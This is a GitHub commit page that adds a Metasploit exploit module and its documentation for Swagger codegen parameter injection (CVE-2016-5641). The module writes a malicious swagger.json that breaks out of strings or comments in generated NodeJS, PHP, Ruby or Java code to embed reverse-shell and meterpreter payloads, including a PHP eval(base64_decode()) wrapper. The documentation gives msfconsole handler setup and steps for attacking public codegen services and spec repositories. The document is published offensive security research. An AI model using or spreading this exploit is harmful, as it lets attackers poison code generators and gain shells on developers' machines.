Skip to content

Commit 058115c

Browse files
committed
Land rapid7#7015, sdavis' swagger exploit
2 parents 4c5fd78 + 15a1a9e commit 058115c

File tree

3 files changed

+278
-0
lines changed

3 files changed

+278
-0
lines changed
Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
The [Swagger CodeGen parameter injector module](../../../../../modules/exploits/multi/fileformat/swagger_param_inject.rb) generates a Swagger JSON file with embedded Metasploit payloads.
2+
3+
In the typical case, a Swagger document defines an API. Swagger can be automatically consumed to generate client/server code, testing and scaffolding in APIs by companies eager to provide value to the increasing need for scalable API deployment and testing.
4+
5+
Currently, this module supports 4 languages for delivery: NodeJS, PHP, Ruby, and Java. These are specified by the PAYLOAD set for the exploit module.
6+
7+
8+
## Verification Steps
9+
10+
All exploits assume a bind or reverse-tcp callback handler, with preference on reverse-tcp.
11+
12+
1. Start msfconsole
13+
2. Start a callback handler listening for a the appropriate payload (e.g.)
14+
15+
```
16+
use exploit/multi/handler
17+
set PAYLOAD nodejs/shell_reverse_tcp
18+
19+
set LHOST 192.168.68.138
20+
set LPORT 4444
21+
22+
run
23+
```
24+
3. Pick a target
25+
26+
## Targets
27+
28+
**NodeJS**
29+
30+
This attack injects a payload into javascript by terminating a URL path string.
31+
32+
33+
```
34+
35+
use exploit/multi/fileformat/swagger_param_inject
36+
set PAYLOAD nodejs/shell_reverse_tcp
37+
set INFO_VERSION "1.0.0"
38+
set SWAGGER_HOST "localhost"
39+
run
40+
```
41+
42+
**PHP**
43+
44+
This attack injects a payload into PHP multiline comment area.
45+
46+
47+
```
48+
49+
use exploit/multi/fileformat/swagger_param_inject
50+
set PAYLOAD php/meterpreter/reverse_tcp
51+
set SWAGGER_HOST "localhost"
52+
run
53+
```
54+
55+
**ruby**
56+
57+
This attack injects a payload into ruby multiline comment area.
58+
59+
60+
```
61+
62+
use exploit/multi/fileformat/swagger_param_inject
63+
set PAYLOAD ruby/shell_reverse_tcp
64+
set SWAGGER_HOST "localhost"
65+
run
66+
```
67+
68+
**Java**
69+
70+
This attack injects a payload into Java by terminating a URL path string.
71+
72+
73+
```
74+
75+
use exploit/multi/fileformat/swagger_param_inject
76+
set PAYLOAD java/jsp_shell_reverse_tcp
77+
set SWAGGER_HOST "localhost"
78+
run
79+
```
80+
81+
## Quick Test
82+
83+
Use the online [editor.swagger.io](http://editor.swagger.io) to upload your swagger document, and generate pre-built code bases from the document. The swagger editor leverages [generator.swagger.io](http://generator.swagger.io) to build these clients & servers automatically from the document, and published downloadable artifacts of these code bases.
84+
85+
86+
## Scenarios
87+
88+
Effective against services with either these dependencies
89+
90+
* [swagger-codegen](https://github.com/swagger-api/swagger-codegen)
91+
* public API [generator.swagger.io](http://generator.swagger.io/)
92+
* public docker container [swagger-generator/](https://hub.docker.com/r/swaggerapi/swagger-generator/)
93+
* [swagger-test-templates](https://github.com/apigee-127/swagger-test-templates)
94+
95+
**Possible Attack approach.**
96+
97+
1. Research the target environment and component dependencies.
98+
2. Setup appropriate payload callback listener.
99+
3. generate the appropriate swagger document with associated MS payload (see above for examples)
100+
101+
102+
**Against a webservice (2nd order attack / blind code-gen)**
103+
104+
*Who knows what insecurely configured code-gen Docker containers hosted in data compute or API broker cluster could do if given the chance...*
105+
106+
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
107+
5. Wait for callback handler event.
108+
109+
**Against a code repository or public hosting of spec**
110+
111+
*People and Robots trust swagger to build clients, servers, mocks, and more. Publicly hosted specs should be verified as to not corrupt automatic code generation.*
112+
113+
4. Feed the document to the service in service appropriate submission of Swagger documents. This is most often accoplished by defining a Mock, Test or Pass-Thru service automatically constructed by the swagger document definition.
114+
5. Wait for callback handler event.
115+

lib/msf/ui/console/command_dispatcher/exploit.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -227,6 +227,7 @@ def self.choose_payload(mod, target)
227227
'php/meterpreter/reverse_tcp',
228228
'php/meterpreter_reverse_tcp',
229229
'ruby/shell_reverse_tcp',
230+
'nodejs/shell_reverse_tcp',
230231
'cmd/unix/interact',
231232
'cmd/unix/reverse',
232233
'cmd/unix/reverse_perl',
Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
#
7+
# Gems
8+
#
9+
require 'base64'
10+
11+
#
12+
# Project
13+
#
14+
15+
require 'msf/core'
16+
17+
class MetasploitModule < Msf::Exploit::Remote
18+
19+
Rank = ExcellentRanking
20+
21+
include Msf::Exploit::FILEFORMAT
22+
23+
def initialize(info = {})
24+
super(update_info(info,
25+
'Name' => 'JSON Swagger CodeGen Parameter Injector',
26+
'Description' => %q{
27+
This module generates a Open API Specification 2.0 (Swagger) compliant
28+
json document that includes payload insertion points in parameters.
29+
30+
In order for the payload to be executed, an attacker must convince
31+
someone to generate code from a specially modified swagger.json file
32+
within a vulnerable swagger-codgen appliance/container/api/service,
33+
and then to execute that generated code (or include it into software
34+
which will later be executed by another victim). By doing so, an
35+
attacker can execute arbitrary code as the victim user. The same
36+
vulnerability exists in the YAML format.
37+
},
38+
'License' => MSF_LICENSE,
39+
'Author' =>
40+
[
41+
'ethersnowman <[email protected]>'
42+
],
43+
'References' =>
44+
[
45+
[ 'URL', 'http://github.com/swagger-api/swagger-codegen' ],
46+
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ]
47+
],
48+
'Platform' => %w{ nodejs php java ruby },
49+
'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ],
50+
'Targets' =>
51+
[
52+
['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ],
53+
['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ],
54+
['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ],
55+
['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ]
56+
],
57+
'DisclosureDate' => 'Jun 23 2016',
58+
'DefaultTarget' => 0))
59+
60+
register_options(
61+
[
62+
OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']),
63+
OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']),
64+
OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']),
65+
OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']),
66+
OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]),
67+
OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']),
68+
OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']),
69+
OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']),
70+
OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']),
71+
OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']),
72+
OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F'])
73+
], self.class)
74+
end
75+
76+
def swagger
77+
%Q(
78+
{
79+
"swagger": "2.0",
80+
"info": {
81+
"description": "#{datastore['INFO_DESCRIPTION']}",
82+
"version": "#{datastore['INFO_VERSION']}",
83+
"title": "#{datastore['INFO_TITLE']}"
84+
},
85+
"schemes": [
86+
"#{datastore['SWAGGER_SCHEME']}"
87+
],
88+
"host": "#{datastore['SWAGGER_HOST']}",
89+
"basePath": "#{datastore['BASE_PATH']}",
90+
"produces": [
91+
"application/json"
92+
],
93+
"consumes": [
94+
"application/json"
95+
],
96+
"paths": {
97+
"#{datastore['PATH']}": {
98+
"get": {
99+
"description": "#{datastore['PATH_DESCRIPTION']}",
100+
"responses": {
101+
"200": {
102+
"description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}",
103+
"schema": {
104+
"$ref": "#/definitions/d"
105+
}
106+
}
107+
}
108+
}
109+
}
110+
},
111+
"definitions": {
112+
"d": {
113+
"type": "object",
114+
"description": "#{datastore['DEFINITION_DESCRIPTION']}",
115+
"properties": {
116+
"id": {
117+
"type": "integer",
118+
"format": "int64"
119+
}
120+
}
121+
}
122+
}
123+
}
124+
)
125+
end
126+
127+
def exploit
128+
case payload.arch[0]
129+
when 'nodejs'
130+
payload_loc = 'PATH'
131+
payload_prefix = "/a');};};return exports;}));"
132+
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
133+
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
134+
when 'php'
135+
payload_loc = 'INFO_DESCRIPTION'
136+
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
137+
payload_suffix = "')); /*"
138+
wrapped_payload = payload_prefix +
139+
Base64.strict_encode64(payload.encoded) +
140+
payload_suffix
141+
when 'ruby'
142+
payload_loc = 'INFO_TITLE'
143+
payload_prefix = "=end "
144+
payload_suffix = "=begin "
145+
wrapped_payload = payload_prefix + payload.encoded + payload_suffix
146+
when 'java'
147+
payload_loc = 'PATH'
148+
payload_prefix = %q{a\\\"; "}
149+
p = payload.encoded.gsub(/<%@page import="/, 'import ')
150+
p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
151+
p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
152+
wrapped_payload = payload_prefix + p
153+
else
154+
raise IncompatiblePayloadError.new(datastore['PAYLOAD'])
155+
end
156+
157+
datastore[payload_loc] = wrapped_payload
158+
159+
print_status swagger
160+
file_create swagger
161+
end
162+
end

0 commit comments

Comments
 (0)